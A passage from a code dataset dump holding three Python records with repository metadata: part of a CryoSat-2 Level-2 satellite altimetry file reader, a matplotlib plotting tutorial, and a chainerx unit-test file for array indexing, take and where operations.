[]\r\n\tregex_patterns.append(b'DS_NAME\\=\"SIR_LRM_L2[\\s+]*\"')\r\n\tregex_patterns.append(b'DS_NAME\\=\"SIR_SAR_L2B[\\s+]*\"')\r\n\tregex_patterns.append(b'DS_NAME\\=\"SIR_SAR_L2[\\s+]*\"')\r\n\tregex_patterns.append(b'DS_NAME\\=\"SIR_FDM_L2[\\s+]*\"')\r\n\tregex_patterns.append(b'DS_NAME\\=\"SIR_SARIL2B[\\s+]*\"')\r\n\tregex_patterns.append(b'DS_NAME\\=\"SIR_SARIL2[\\s+]*\"')\r\n\tregex_patterns.append(b'DS_NAME\\=\"SIR_SAR_L2B_I[\\s+]*\"')\r\n\tregex_patterns.append(b'DS_NAME\\=\"SIR_SAR_L2A[\\s+]*\"')\r\n\tregex_patterns.append(b'DS_NAME\\=\"SIR_SIN_L2[\\s+]*\"')\r\n\tregex_patterns.append(b'DS_NAME\\=\"SIR_SID_L2[\\s+]*\"')\r\n\tregex_patterns.append(b'DS_NAME\\=\"SIR_LRMIL2[\\s+]*\"')\r\n\tregex_patterns.append(b'DS_NAME\\=\"SIR_LRM_L2_I[\\s+]*\"')\r\n\tregex_patterns.append(b'DS_NAME\\=\"SIR_SARIL2A[\\s+]*\"')\r\n\tregex_patterns.append(b'DS_NAME\\=\"SIR_SAR_L2A_I[\\s+]*\"')\r\n\tregex_patterns.append(b'DS_NAME\\=\"SIR_SAR_L2_I[\\s+]*\"')\r\n\tregex_patterns.append(b'DS_NAME\\=\"SIR_SINIL2[\\s+]*\"')\r\n\tregex_patterns.append(b'DS_NAME\\=\"SIR_SIN_L2_I[\\s+]*\"')\r\n\tregex_patterns.append(b'DS_NAME\\=\"SIR_SIDIL2[\\s+]*\"')\r\n\tregex_patterns.append(b'DS_NAME\\=\"SIR_SID_L2_I[\\s+]*\"')\r\n\tregex_patterns.append(b'DS_NAME\\=\"SIR_GDR_2A[\\s+]*\"')\r\n\tregex_patterns.append(b'DS_NAME\\=\"SIR_GDR_2B[\\s+]*\"')\r\n\tregex_patterns.append(b'DS_NAME\\=\"SIR_GDR_2[\\s+]*\"')\r\n\t#-- find the DSD starting line within the SPH header\r\n\tc = 0\r\n\tFlag = False\r\n\twhile ((Flag is False) and (c < len(regex_patterns))):\r\n\t\t#-- find indice within\r\n\t\tindice = [i for i,line in enumerate(file_contents[n_MPH_lines+1:]) if\r\n\t\t\tre.search(regex_patterns[c],line)]\r\n\t\tif indice:\r\n\t\t\tFlag = True\r\n\t\telse:\r\n\t\t\tc+=1\r\n\t#-- check that valid indice was found within header\r\n\tif not indice:\r\n\t\traise IOError('Can not find correct DSD field')\r\n\r\n\t#-- extract s_DSD_fields info\r\n\tDSD_START = n_MPH_lines + indice[0] + 1\r\n\ts_DSD_fields = {}\r\n\tfor i in range(DSD_START,DSD_START+n_DSD_lines):\r\n\t\t#-- use regular expression operators to read headers\r\n\t\tif bool(re.match(b'(.*?)\\=\\\"(.*)(?=\\\")',file_contents[i])):\r\n\t\t\t#-- data fields within quotes\r\n\t\t\tfield,value=re.findall(b'(.*?)\\=\\\"(.*)(?=\\\")',file_contents[i]).pop()\r\n\t\t\ts_DSD_fields[field.decode('utf-8')] = value.decode('utf-8').rstrip()\r\n\t\telif bool(re.match(b'(.*?)\\=(.*)',file_contents[i])):\r\n\t\t\t#-- data fields without quotes\r\n\t\t\tfield,value=re.findall(b'(.*?)\\=(.*)',file_contents[i]).pop()\r\n\t\t\ts_DSD_fields[field.decode('utf-8')] = value.decode('utf-8').rstrip()\r\n\r\n\t#-- Return block name array to calling function\r\n\treturn s_DSD_fields\r\n\r\n#-- PURPOSE: read CryoSat Level-2 data\r\ndef read_cryosat_L2(full_filename, VERBOSE=False):\r\n\t#-- file basename and file extension of input file\r\n\tfileBasename,fileExtension=os.path.splitext(os.path.basename(full_filename))\r\n\r\n\t#-- CryoSat file class\r\n\t#-- OFFL (Off Line Processing/Systematic)\r\n\t#-- NRT_ (Near Real Time)\r\n\t#-- RPRO (ReProcessing)\r\n\t#-- TEST (Testing)\r\n\t#-- LTA_ (Long Term Archive)\r\n\tregex_class = 'OFFL|NRT_|RPRO|TEST|LTA_'\r\n\t#-- CryoSat mission products\r\n\t#-- SIR_LRM_2 L2 Product from Low Resolution Mode Processing\r\n\t#-- SIR_FDM_2 L2 Product from Fast Delivery Marine Mode Processing\r\n\t#-- SIR_SIN_2 L2 Product from SAR Interferometric Processing\r\n\t#-- SIR_SID_2 L2 Product from SIN Degraded Processing\r\n\t#-- SIR_SAR_2 L2 Product from SAR Processing\r\n\t#-- SIR_GDR_2 L2 Consolidated Product\r\n\t#-- SIR_LRMI2 In-depth L2 Product from LRM Processing\r\n\t#-- SIR_SINI2 In-depth L2 Product from SIN Processing\r\n\t#-- SIR_SIDI2 In-depth L2 Product from SIN Degraded Process.\r\n\t#-- SIR_SARI2 In-depth L2 Product from SAR Processing\r\n\tregex_products = ('SIR_LRM_2|SIR_FDM_2|SIR_SIN_2|SIR_SID_2|'\r\n\t'SIR_SAR_2|SIR_GDR_2|SIR_LRMI2|SIR_SINI2|SIR_SIDI2|SIR_SARI2')\r\n\t#-- CRYOSAT LEVEL-2 PRODUCTS NAMING RULES\r\n\t#-- Mission Identifier\r\n\t#-- File Class\r\n\t#-- File Product\r\n\t#-- Validity Start Date and Time\r\n\t#-- Validity Stop Date and Time\r\n\t#-- Baseline Identifier\r\n\t#-- Version Number\r\n\tregex_pattern = '(.*?)_({0})_({1})__(\\d+T?\\d+)_(\\d+T?\\d+)_(.*?)(\\d+)'.format(\r\n\t\tregex_class, regex_products)\r\n\trx = re.compile(regex_pattern, re.VERBOSE)\r\n\t#-- extract file information from filename\r\n\tMI,CLASS,PRODUCT,START,STOP,BASELINE,VERSION=rx.findall(fileBasename).pop()\r\n\t#-- Extract Date information\r\n\tstart_yr,start_mon,start_day=np.array([START[:4],START[4:6],START[6:8]],dtype=np.uint16)\r\n\tstart_hh,start_mm,start_ss=np.array([START[-6:-4],START[-4:-2],START[-2:]],dtype=np.uint8)\r\n\tstop_yr,stop_mon,stop_day=np.array([STOP[:4],STOP[4:6],STOP[6:8]],dtype=np.uint16)\r\n\tstop_hh,stop_mm,stop_ss=np.array([STOP[-6:-4],STOP[-4:-2],STOP[-2:]],dtype=np.uint8)\r\n\r\n\t#-- Record sizes\r\n\tCS_L2_MDS_REC_SIZE = 980\r\n\tCS_L2_C_MDS_REC_SIZE = 1392\r\n\t#-- check baseline from file to set i_record_size and allocation function\r\n\tif (BASELINE == 'C'):\r\n\t\ti_record_size = CS_L2_C_MDS_REC_SIZE\r\n\t\tread_cryosat_variables = cryosat_baseline_C\r\n\telse:\r\n\t\ti_record_size = CS_L2_MDS_REC_SIZE\r\n\t\tread_cryosat_variables = cryosat_baseline_AB\r\n\r\n\t#-- read the input file to get file information\r\n\tfid = os.open(os.path.expanduser(full_filename),os.O_RDONLY)\r\n\tfile_info = os.fstat(fid)\r\n\tos.close(fid)\r\n\r\n\t#-- num DSRs from SPH\r\n\tj_num_DSR = np.int32(file_info.st_size//i_record_size)\r\n\t#-- print file information\r\n\tif VERBOSE:\r\n\t\tprint(fileBasename)\r\n\t\tprint('{0:d} {1:d} {2:d}'.format(j_num_DSR,file_info.st_size,i_record_size))\r\n\t\t#-- Check if MPH/SPH/DSD headers\r\n\t\tif (j_num_DSR*i_record_size == file_info.st_size):\r\n\t\t\tprint('No Header on file')\r\n\t\t\tprint('The number of DSRs is: {0:d}'.format(j_num_DSR))\r\n\t\telse:\r\n\t\t\tprint('Header on file')\r\n\r\n\t#-- Check if MPH/SPH/DSD headers\r\n\tif (j_num_DSR*i_record_size != file_info.st_size):\r\n\t\t#-- If there are MPH/SPH/DSD headers\r\n\t\ts_MPH_fields = read_MPH(full_filename)\r\n\t\tj_sph_size = np.int32(re.findall('[-+]?\\d+',s_MPH_fields['SPH_SIZE']).pop())\r\n\t\ts_SPH_fields = read_SPH(full_filename,j_sph_size)\r\n\t\t#-- extract information from DSD fields\r\n\t\ts_DSD_fields = read_DSD(full_filename)\r\n\t\t#-- extract DS_OFFSET\r\n\t\tj_DS_start = np.int32(re.findall('[-+]?\\d+',s_DSD_fields['DS_OFFSET']).pop())\r\n\t\t#-- extract number of DSR in the file\r\n\t\tj_num_DSR = np.int32(re.findall('[-+]?\\d+',s_DSD_fields['NUM_DSR']).pop())\r\n\t\t#-- check the record size\r\n\t\tj_DSR_size = np.int32(re.findall('[-+]?\\d+',s_DSD_fields['DSR_SIZE']).pop())\r\n\t\t#--  minimum size is start of the read plus number of records to read\r\n\t\tj_check_size = j_DS_start +(j_DSR_size*j_num_DSR)\r\n\t\tif VERBOSE:\r\n\t\t\tprint('The offset of the DSD is: {0:d} bytes'.format(j_DS_start))\r\n\t\t\tprint('The number of DSRs is {0:d}'.format(j_num_DSR))\r\n\t\t\tprint('The size of the DSR is {0:d}'.format(j_DSR_size))\r\n\t\t#-- check if invalid file size\r\n\t\tif (j_check_size > file_info.st_size):\r\n\t\t\traise IOError('File size error')\r\n\t\t#-- extract binary data from input CryoSat data file (skip headers)\r\n\t\tfid = open(full_filename, 'rb')\r\n\t\tcryosat_header = fid.read(j_DS_start)\r\n\t\t#-- iterate through CryoSat file and fill output variables\r\n\t\tCS_L2_mds = read_cryosat_variables(fid,i_record_size,j_num_DSR)\r\n\t\t#-- add headers to output dictionary as METADATA\r\n\t\tCS_L2_mds['METADATA'] = {}\r\n\t\tCS_L2_mds['METADATA']['MPH'] = s_MPH_fields\r\n\t\tCS_L2_mds['METADATA']['SPH'] = s_SPH_fields\r\n\t\tCS_L2_mds['METADATA']['DSD'] = s_DSD_fields\r\n\t\t#-- add absolute orbit number to 1Hz data\r\n\t\tCS_L2_mds['Data_1Hz']['Abs_Orbit']=np.zeros((j_num_DSR),dtype=np.uint32)\r\n\t\tCS_L2_mds['Data_1Hz']['Abs_Orbit'][:]=np.uint32(s_MPH_fields['ABS_ORBIT'])\r\n\t\t#-- add ascending/descending flag to 1Hz data (A=ascending,D=descending)\r\n\t\tCS_L2_mds['Data_1Hz']['Ascending_Flg']=np.zeros((j_num_DSR),dtype=np.bool)\r\n\t\tif (s_SPH_fields['ASCENDING_FLAG'] == 'A'):\r\n\t\t\tCS_L2_mds['Data_1Hz']['Ascending_Flg'][:] = True\r\n\t\t#-- close the input CryoSat binary file\r\n\t\tfid.close()\r\n\telse:\r\n\t\t#-- If there are not MPH/SPH/DSD headers\r\n\t\t#-- extract binary data from input CryoSat data file\r\n\t\tfid = open(full_filename, 'rb')\r\n\t\t#-- iterate through CryoSat file and fill output variables\r\n\t\tCS_L2_mds = read_cryosat_variables(fid,i_record_size,j_num_DSR)\r\n\t\t#-- close the input CryoSat binary file\r\n\t\tfid.close()\r\n\r\n\t#-- return the data and headers\r\n\treturn CS_L2_mds\r\n", "meta": {"hexsha": "c0699e70f27a08712282b97f1c28869c3ea3e6ab", "size": 38207, "ext": "py", "lang": "Python", "max_stars_repo_path": "cryosat_toolkit/read_cryosat_L2.py", "max_stars_repo_name": "Sibada/read-cryosat-2", "max_stars_repo_head_hexsha": "3267a0bb52857feb142a67cbb0e352160415c28f", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "cryosat_toolkit/read_cryosat_L2.py", "max_issues_repo_name": "Sibada/read-cryosat-2", "max_issues_repo_head_hexsha": "3267a0bb52857feb142a67cbb0e352160415c28f", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "cryosat_toolkit/read_cryosat_L2.py", "max_forks_repo_name": "Sibada/read-cryosat-2", "max_forks_repo_head_hexsha": "3267a0bb52857feb142a67cbb0e352160415c28f", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 55.4528301887, "max_line_length": 93, "alphanum_fraction": 0.7101054781, "include": true, "reason": "import numpy", "num_tokens": 12444, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4960938294709195, "lm_q2_score": 0.11124119766818046, "lm_q1q2_score": 0.05518607174613917}}
{"text": "\n# coding: utf-8\n\n# ## Working with Matplotlib\n# Introduction:\n# \n# Matplotlib is a Python 2D plotting library which produces publication quality figures in a variety of hardcopy formats and interactive environments across platforms. Matplotlib can be used in Python scripts, the Python and IPython shell, the jupyter notebook, web application servers, and four graphical user interface toolkits.\n# \n# ### Here are the main steps we will go through\n# * How to save your plot using matplotlib?\n# * How to create plot using matplotlib?\n# * How to make your graph look pretty?\n# \n# This is Just a little illustration.\n# \n# <img style=\"float:left;\" src=\"https://static.lwn.net/images/2015/02-matplotlib-3d.png\"></img>\n\n# #### How to save your plot using matplotlib?\n# I am gonna show you how to save your graph, you can refer the docstring for complete information on the various ways it can be used.\n\n# In[1]:\n\n\n# import matplotlib, numpy\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\n# In[2]:\n\n\n#saves plot/figure to image\nplt.savefig('name_your_graph.png')\n\n\n# In[11]:\n\n\n# we can create simple plot as follows, linear graph\n# Prepare the data\nlinear = np.linspace(0, 10, 100)\n\n# Plot the data, set label and color, b=blue, g=green\nplt.plot(linear, linear, label='linear', color='b')\n\n# Add a legend\nplt.legend()\n\n# Show the plot\nplt.show()\n\n\n# In[23]:\n\n\n#by calling \nplt.style.available\n\n\n# In[26]:\n\n\nx = np.linspace(0, 4 * np.pi)\ny = np.sin(x)\n\nplt.plot(x, y)\n\nplt.show()\n\n\n# In[27]:\n\n\nplt.style.use('ggplot')\n\nplt.plot(x, y)\n\nplt.show()\n\n\n# In[32]:\n\n\nwith plt.style.context(('seaborn-darkgrid')):\n    plt.plot(x, y, 'r-o')\n    plt.show()\n\n\n# #### Working with text inside your graph\n\n# However, you can use subplots to set up and place your Axes on a regular grid. So that means that in most cases, Axes and subplot are synonymous, they will designate the same thing. When you do call subplot to add Axes to your figure, do so with the add_subplots() function. \n\n# In[14]:\n\n\n# we can create scatter plot for this \nfig = plt.figure()\n\n# Set up Axes\nax = fig.add_subplot(111)\n\n# Scatter the data\nax.scatter(np.linspace(0, 1, 5), np.linspace(0, 5, 5), label='scatter')\n\n# Add a legend\nplt.legend()\n\n# Show the plot\nplt.show()\n\n\n# #### How To Change The Size of Figures\n# \n# Now that you have seen how to initialize a Figure and Axes from scratch, you will also want to know how you can change certain small details that the package sets up for you, such as the figure size.\n# Let\u2019s say you don\u2019t to have your figure size to be default size and you want to change this. How do you set the size of your figures manually?\n\n# In[20]:\n\n\n# easy! you can just call \nfig = plt.figure(figsize=(10,8))\nax1 = fig.add_subplot(121)\nax2 = fig.add_subplot(122)\n\n\n# In[21]:\n\n\n# let's plot simple bar graph\n# Plot the data\nax1.bar([1,2,3],[3,4,5])\nax2.barh([0.5,1,2.5],[0,1,2])\n\n# Show the plot\nplt.show()\n\n\n# In[3]:\n\n\nx = np.linspace(0, 2, 100)\n\nplt.plot(x, x, label='linear')\nplt.plot(x, x**2, label='quadratic')\nplt.plot(x, x**3, label='cubic')\n\nplt.xlabel('x label')\nplt.ylabel('y label')\n\nplt.title(\"Simple Plot\")\n\nplt.legend()\n\nplt.show()\n\n\n# In[4]:\n\n\n#plot data connected by lines\nlines = plt.plot(x,x)\nplt.show()\n\n\n# ## More to come soon!\n", "meta": {"hexsha": "86f1bc504538e05d9d304c35e2294b423d77b744", "size": 3235, "ext": "py", "lang": "Python", "max_stars_repo_path": "All Python Codes/2017-24-11-so-customization-matplotlib.py", "max_stars_repo_name": "bjfisica/MachineLearning", "max_stars_repo_head_hexsha": "20349301ae7f82cd5048410b0cf1f7a5f7d7e5a2", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 52, "max_stars_repo_stars_event_min_datetime": "2019-02-15T16:37:13.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-17T18:34:30.000Z", "max_issues_repo_path": "All Python Codes/2017-24-11-so-customization-matplotlib.py", "max_issues_repo_name": "RodeoBlues/Complete-Data-Science-Toolkits", "max_issues_repo_head_hexsha": "c5e83889e24af825ec3baed6e8198debb135f1ff", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "All Python Codes/2017-24-11-so-customization-matplotlib.py", "max_forks_repo_name": "RodeoBlues/Complete-Data-Science-Toolkits", "max_forks_repo_head_hexsha": "c5e83889e24af825ec3baed6e8198debb135f1ff", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 22, "max_forks_repo_forks_event_min_datetime": "2017-11-25T23:42:16.000Z", "max_forks_repo_forks_event_max_datetime": "2019-01-07T09:22:35.000Z", "avg_line_length": 19.4879518072, "max_line_length": 330, "alphanum_fraction": 0.6924265842, "include": true, "reason": "import numpy", "num_tokens": 890, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4148988457967688, "lm_q2_score": 0.13296424363358259, "lm_q1q2_score": 0.05516671121581378}}
{"text": "import unittest\n\nimport numpy\nimport pytest\n\nimport chainer.testing\nimport chainerx\nimport chainerx.testing\n\nfrom chainerx_tests import array_utils\nfrom chainerx_tests import dtype_utils\nfrom chainerx_tests import math_utils\nfrom chainerx_tests import op_utils\n\n\n@op_utils.op_test(['native:0', 'cuda:0'])\n@chainer.testing.parameterize_pytest('shape,indices', [\n    # empty indexing\n    ((), ()),\n    ((3,), ()),\n    ((2, 2, 2), ()),\n    # integer indexing - non-tuple indexing\n    ((3,), 0),\n    ((3,), 1),\n    ((3,), 2),\n    ((3,), -1),\n    ((2, 3), 0),\n    ((2, 3), 1),\n    ((2, 3), numpy.int8(-1)),\n    ((2, 3), numpy.int32(0)),\n    ((2, 3), numpy.uint64(1)),\n    # integer indexining - tuple indexing\n    ((3,), (0,)),\n    ((3,), (1,)),\n    ((3,), (2,)),\n    ((3,), (-1,)),\n    ((2, 3), (0,)),\n    ((2, 3), (1,)),\n    ((2, 3), (0, 0)),\n    ((2, 3), (1, 1)),\n    ((2, 3, 4), (0, -2, 3)),\n    ((2, 3, 4), (1, 0)),\n    # slice indexing - non-tuple indexing\n    ((3,), slice(None)),\n    ((3,), slice(2)),\n    ((3,), slice(0, 3)),\n    ((3,), slice(0, 2)),\n    ((3,), slice(1, 3)),\n    ((3,), slice(0, 0)),\n    ((3,), slice(0, 1)),\n    ((3,), slice(2, 0, -1)),\n    ((3,), slice(-2, -1)),\n    ((3,), slice(2, None, -1)),\n    ((3,), slice(None, 0, 1)),\n    ((3,), slice(None, -1, -1)),\n    ((3,), slice(None, -2, -1)),\n    ((6,), slice(0, 6, 2)),\n    ((6,), slice(1, 6, 2)),\n    ((6,), slice(5, None, -2)),\n    # slice indexing - tuple indexing\n    ((3,), (slice(None),)),\n    ((3,), (slice(2),)),\n    ((3,), (slice(0, 3),)),\n    ((3,), (slice(0, 2),)),\n    ((3,), (slice(1, 3),)),\n    ((3,), (slice(0, 0),)),\n    ((3,), (slice(0, 1),)),\n    ((3,), (slice(2, 0, -1),)),\n    ((3,), (slice(-2, -1),)),\n    ((3,), (slice(2, None, -1),)),\n    ((3,), (slice(None, 0, 1),)),\n    ((3,), (slice(None, -1, -1),)),\n    ((3,), (slice(None, -2, -1),)),\n    ((6,), (slice(0, 6, 2),)),\n    ((6,), (slice(1, 6, 2),)),\n    ((6,), (slice(5, None, -2),)),\n    ((6,), (slice(50, 1, -1),)),\n    ((6,), (slice(3, 3, 1),)),\n    ((6,), (slice(3, 3, -2),)),\n    ((6,), (slice(50, 50, 1),)),\n    ((6,), (slice(50, 50, -2),)),\n    ((6,), (slice(-50, -50, 1),)),\n    ((6,), (slice(-50, -50, -2),)),\n    ((2, 3), (slice(None), slice(None))),\n    ((2, 3), (slice(1), slice(2))),\n    ((2, 3), (slice(0, 2), slice(0, 3))),\n    ((2, 3), (slice(0, 2), slice(0, -1))),\n    ((2, 3), (slice(0, None, -1), slice(2, 3))),\n    ((2, 3), (slice(0, None, None), slice(-2, 0, -1))),\n    ((2, 3), (slice(1, 2), slice(0, 2))),\n    ((2, 3), (slice(-2, None, -1), slice(0, 3))),\n    ((2, 3), (slice(-2, None, -1), slice(-3, None, -1))),\n    ((2, 3), (slice(-2, None, -1), slice(None, None, -2))),\n    ((2, 3), (slice(1, 2), slice(None, None, 1))),\n    ((2, 3), (slice(1, 2), slice(None, None, 2))),\n    ((2, 3, 4), (slice(1), slice(-2, 3), slice(1, None, -1))),\n    # newaxis indexing - non-tuple indexing\n    ((), chainerx.newaxis),\n    ((3,), chainerx.newaxis),\n    # newaxis indexing - tuple indexing\n    ((), (chainerx.newaxis,)),\n    ((3,), (chainerx.newaxis,)),\n    ((2, 3), (chainerx.newaxis, chainerx.newaxis)),\n    # mixed indexing - tuple indexing\n    ((2, 3), (0, slice(1, 3))),\n    ((4, 3), (slice(1, 3), 1)),\n    ((2, 3, 4), (1, slice(2,), slice(1, 3))),\n    ((2, 3), (1, chainerx.newaxis, slice(1, 3))),\n    ((2, 3, 4), (slice(0, 1), slice(1, 2), slice(1, 3), chainerx.newaxis)),\n    ((2, 3, 4), (slice(0, 1), slice(1, 2), chainerx.newaxis, slice(1, 3))),\n    ((2, 3, 4), (slice(0, 1), chainerx.newaxis, slice(1, 2), slice(1, 3))),\n    ((2, 3, 4), (chainerx.newaxis, slice(0, 1), slice(1, 2), slice(1, 3))),\n    ((2, 3, 4),\n     (1, slice(2,), chainerx.newaxis, slice(1, 3), chainerx.newaxis)),\n])\nclass TestGetitem(op_utils.NumpyOpTest):\n    # TODO(niboshi): Remove this\n    check_numpy_strides_compliance = False\n\n    def generate_inputs(self):\n        x = numpy.random.uniform(-1, 1, self.shape).astype('float32')\n        return x,\n\n    def forward_xp(self, inputs, xp):\n        x, = inputs\n        y = x[self.indices]\n        return y,\n\n\n@pytest.mark.parametrize_device(['native:0', 'cuda:0'])\ndef test_getitem_zero_sized_offsets(device):\n    a = chainerx.arange(6)\n\n    b = a[3:3]\n    # Test pre-conditions.\n    assert b.size == 0\n    assert b.offset == 12\n\n    # The offset of `c` should be the same as `b` since `b` is empty.\n    c = b[2:]\n    assert c.size == 0\n    assert c.offset == b.offset\n\n\n@op_utils.op_test(['native:0', 'cuda:0'])\n# TODO(hvy): Add cases where axis=None, when supported.\n@chainer.testing.parameterize_pytest('shape,indices,axis', [\n    # Valid parameters\n    ((3,), [0], 0),\n    ((3,), [1], 0),\n    ((2, 3), [0], 0),\n    ((2, 3), [0], 1),\n    ((2, 3), [0], -1),\n    ((2, 3), [1], 0),\n    ((2, 3), [0, -1], 0),\n    ((2, 3), [1, 0], 0),\n    ((2, 3), [1, 2], 1),\n    ((2, 3), [2, 1], 1),\n    ((2, 3), [[0], [1]], 0),\n    # Invalid: Axis out of bounds\n    ((2, 3), [0], 2),\n    ((2, 3), [0], -3),\n])\n@chainer.testing.parameterize_pytest('is_module', [True, False])\n@chainer.testing.parameterize_pytest(\n    'indices_type', ['list', 'numpy', 'xp'])\n# TODO(niboshi): indices_dtype is ignored if indices_type == 'list', which is\n# wasteful.\n@chainer.testing.parameterize_pytest(\n    'indices_dtype', chainerx.testing.integral_dtypes)\nclass TestTake(op_utils.NumpyOpTest):\n\n    check_numpy_strides_compliance = False\n    forward_accept_errors = (chainerx.DimensionError, numpy.AxisError)\n\n    def setup(self):\n        if (numpy.dtype(self.indices_dtype).kind == 'u'\n                and (numpy.array(self.indices, 'int64') < 0).any()):\n            raise unittest.SkipTest(\n                'Indices underflows and index out of bounds cannot be tested.')\n\n    def generate_inputs(self):\n        a = numpy.random.uniform(-1, 1, self.shape).astype('float32')\n        return a,\n\n    def forward_xp(self, inputs, xp):\n        indices = self.indices\n        axis = self.axis\n        indices_type = self.indices_type\n        a, = inputs\n\n        assert isinstance(indices, list)\n        if indices_type == 'list':\n            pass\n        elif indices_type == 'numpy':\n            indices = numpy.array(indices).astype(self.indices_dtype)\n        elif indices_type == 'xp':\n            indices = xp.array(indices).astype(self.indices_dtype)\n        else:\n            assert False, indices_type\n\n        if self.is_module:\n            b = xp.take(a, indices, axis)\n        else:\n            b = a.take(indices, axis)\n        return b,\n\n\ndef _random_condition(shape, dtype):\n    size = int(numpy.prod(shape))\n    mask = numpy.random.randint(0, 1, size).astype('bool_').reshape(shape)\n    pos = array_utils.uniform(shape, dtype)\n    pos[numpy.logical_not(pos)] = True  # All elements are True\n    return pos * mask\n\n\n@op_utils.op_test(['native:0', 'cuda:0'])\n@chainer.testing.parameterize(*(\n    # Special shapes\n    chainer.testing.product({\n        'cond_shape,in_shapes': [\n            # Same Shapes\n            ((2, 3), ((2, 3), (2, 3))),\n            # Broadcast Shapes\n            ((2, 3), ((1, 3), (1, 3))),\n            ((2, 3), ((2, 1), (1, 3))),\n            ((2, 3), ((2, 3), (1, 3))),\n            ((4, 5), ((3, 4, 1), (1, 5))),\n            ((1, 4, 5), ((3, 4, 1), (3, 1, 5))),\n        ],\n        'cond_dtype': ['bool_'],\n        'in_dtypes,out_dtype': dtype_utils.result_dtypes_two_arrays,\n    })\n    # Dtype combinations\n    + chainer.testing.product({\n        'cond_shape,in_shapes': [((2, 3), ((2, 3), (2, 3)))],\n        'cond_dtype': chainerx.testing.all_dtypes,\n        'in_dtypes,out_dtype': dtype_utils.result_dtypes_two_arrays,\n    })\n))\nclass TestWhere(math_utils.BinaryMathTestBase, op_utils.NumpyOpTest):\n\n    check_numpy_strides_compliance = False\n    dodge_nondifferentiable = True\n    input_lhs = 'random'\n    input_rhs = 'random'\n\n    def generate_inputs(self):\n        self.condition = _random_condition(self.cond_shape, self.cond_dtype)\n        return super().generate_inputs()\n\n    def func(self, xp, x, y):\n        condition = xp.array(self.condition)\n        return xp.where(condition, x, y)\n\n\n@chainerx.testing.numpy_chainerx_array_equal(\n    accept_error=(\n        chainerx.DimensionError, ValueError))\n@pytest.mark.parametrize('cond_shape,x_shape,y_shape', [\n    ((2, 3), (3, 4), (2, 3)),\n    ((2, 3), (2, 3), (3, 4)),\n    ((2, 3), (1, 3), (2, 4))\n])\ndef test_where_invalid_shapes(xp, cond_shape, x_shape, y_shape):\n    x = array_utils.create_dummy_ndarray(xp, x_shape, 'float32')\n    y = array_utils.create_dummy_ndarray(xp, y_shape, 'float32')\n    c = array_utils.create_dummy_ndarray(xp, cond_shape, 'float32')\n    return xp.where(c, x, y)\n\n\n@op_utils.op_test(['native:0', 'cuda:0'])\n@chainer.testing.parameterize(*(\n    # Special shapes\n    chainer.testing.product({\n        'cond_shape,shape': math_utils.shapes_combination_inplace_binary,\n        'cond_dtype': ['bool_'],\n        'in_dtypes,scalar_type,out_dtype': (\n            dtype_utils.result_dtypes_array_scalar),\n        'is_scalar_rhs': [True, False],\n    })\n    # Dtype combinations\n    + chainer.testing.product({\n        'cond_shape,shape': [((2, 3), (2, 3))],\n        'cond_dtype': chainerx.testing.all_dtypes,\n        'in_dtypes,scalar_type,out_dtype': (\n            dtype_utils.result_dtypes_array_scalar),\n        'is_scalar_rhs': [True, False],\n    })\n))\nclass TestWhereScalar(math_utils.MathScalarTestBase, op_utils.NumpyOpTest):\n\n    check_numpy_strides_compliance = False\n    input = 'random'\n    scalar_value = 3\n\n    def generate_inputs(self):\n        self.condition = _random_condition(self.cond_shape, self.cond_dtype)\n        return super().generate_inputs()\n\n    def func_scalar(self, xp, a, scalar):\n        condition = xp.array(self.condition)\n        if self.is_scalar_rhs:\n            return xp.where(condition, a, scalar)\n        else:\n            return xp.where(condition, scalar, a)\n\n\n_in_out_dtypes_where_scalar = [\n    ((bool, bool), 'bool_'),\n    ((bool, int), 'int32'),\n    ((bool, float), 'float32'),\n    ((int, bool), 'int32'),\n    ((int, int), 'int32'),\n    ((int, float), 'float32'),\n    ((float, bool), 'float32'),\n    ((float, int), 'float32'),\n    ((float, float), 'float32'),\n]\n\n\n@chainerx.testing.numpy_chainerx_array_equal()\n@pytest.mark.parametrize('cond_shape', [(2, 3)])\n@pytest.mark.parametrize('cond_dtype', chainerx.testing.all_dtypes)\n@pytest.mark.parametrize('in_types,out_dtype', _in_out_dtypes_where_scalar)\ndef test_where_scalar_scalar(xp, cond_shape, cond_dtype, in_types, out_dtype):\n    cond = xp.array(_random_condition(cond_shape, cond_dtype))\n    x_type, y_type = in_types\n    x = x_type(0)\n    y = y_type(2)\n    out = xp.where(cond, x, y)\n    return dtype_utils.cast_if_numpy_array(xp, out, out_dtype)\n", "meta": {"hexsha": "22dc046e8961f3ac1a5fe8984f048d99862eb32a", "size": 10629, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/chainerx_tests/unit_tests/routines_tests/test_indexing.py", "max_stars_repo_name": "prabhatnagarajan/chainer", "max_stars_repo_head_hexsha": "3029bbaa587c15b3539b55ee1fd357a4149e5aed", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "tests/chainerx_tests/unit_tests/routines_tests/test_indexing.py", "max_issues_repo_name": "prabhatnagarajan/chainer", "max_issues_repo_head_hexsha": "3029bbaa587c15b3539b55ee1fd357a4149e5aed", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tests/chainerx_tests/unit_tests/routines_tests/test_indexing.py", "max_forks_repo_name": "prabhatnagarajan/chainer", "max_forks_repo_head_hexsha": "3029bbaa587c15b3539b55ee1fd357a4149e5aed", "max_forks_repo_licenses": 